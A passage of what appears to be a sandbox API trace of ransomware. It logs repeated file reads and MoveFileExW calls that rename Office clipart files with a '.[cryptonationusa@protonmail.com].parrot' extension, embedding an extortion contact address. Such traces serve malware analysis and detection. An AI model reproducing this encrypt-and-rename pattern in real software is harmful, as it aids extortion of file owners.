out: lpNewFilePointer=0x0) returned 1 [0138.991] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.991] CloseHandle (hObject=0x288) returned 1 [0138.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.994] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8552, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.994] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.994] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.996] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.996] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x843a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x843a, lpOverlapped=0x0) returned 1 [0138.998] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.998] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8552, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.998] CloseHandle (hObject=0x288) returned 1 [0138.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.001] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4616, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.001] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.001] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.013] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.013] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44fe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x44fe, lpOverlapped=0x0) returned 1 [0139.016] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.016] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4616, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.016] CloseHandle (hObject=0x288) returned 1 [0139.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.020] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x483c, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.020] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.021] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.023] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4724, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4724, lpOverlapped=0x0) returned 1 [0139.024] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.024] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x483c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.025] CloseHandle (hObject=0x288) returned 1 [0139.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.029] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1adc, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.029] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.029] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.031] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.031] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19c4, lpOverlapped=0x0) returned 1 [0139.032] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.032] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1adc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.032] CloseHandle (hObject=0x288) returned 1 [0139.032] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.035] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1618, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.035] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.035] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.037] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.037] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1500, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1500, lpOverlapped=0x0) returned 1 [0139.038] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.038] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1618, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.038] CloseHandle (hObject=0x288) returned 1 [0139.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.041] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e94, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.042] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.042] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.043] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.043] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d7c, lpOverlapped=0x0) returned 1 [0139.044] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.045] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.045] CloseHandle (hObject=0x288) returned 1 [0139.045] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.048] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2988, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.048] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.048] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.050] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.050] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2870, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2870, lpOverlapped=0x0) returned 1 [0139.051] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.051] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2988, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.051] CloseHandle (hObject=0x288) returned 1 [0139.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.054] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e64, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.054] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.054] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.056] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.056] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d4c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d4c, lpOverlapped=0x0) returned 1 [0139.057] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.057] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e64, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.057] CloseHandle (hObject=0x288) returned 1 [0139.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.060] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3158, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.060] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.060] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.062] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.062] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3040, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3040, lpOverlapped=0x0) returned 1 [0139.063] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.063] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3158, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.063] CloseHandle (hObject=0x288) returned 1 [0139.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.066] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2598, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.066] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.066] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.067] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.068] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2480, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2480, lpOverlapped=0x0) returned 1 [0139.107] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.108] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2598, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.108] CloseHandle (hObject=0x288) returned 1 [0139.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.120] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.120] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.120] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.121] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.122] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3fe2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3fe2, lpOverlapped=0x0) returned 1 [0139.123] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.124] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.124] CloseHandle (hObject=0x27c) returned 1 [0139.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.128] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1614, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.128] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.128] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.129] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.130] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14fc, lpOverlapped=0x0) returned 1 [0139.131] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.131] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1614, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.131] CloseHandle (hObject=0x27c) returned 1 [0139.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.135] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ce4, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.135] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.135] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.137] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bcc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bcc, lpOverlapped=0x0) returned 1 [0139.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.138] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ce4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.138] CloseHandle (hObject=0x27c) returned 1 [0139.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.142] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1eac, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.142] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.142] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.144] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d94, lpOverlapped=0x0) returned 1 [0139.145] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.145] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1eac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.145] CloseHandle (hObject=0x27c) returned 1 [0139.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 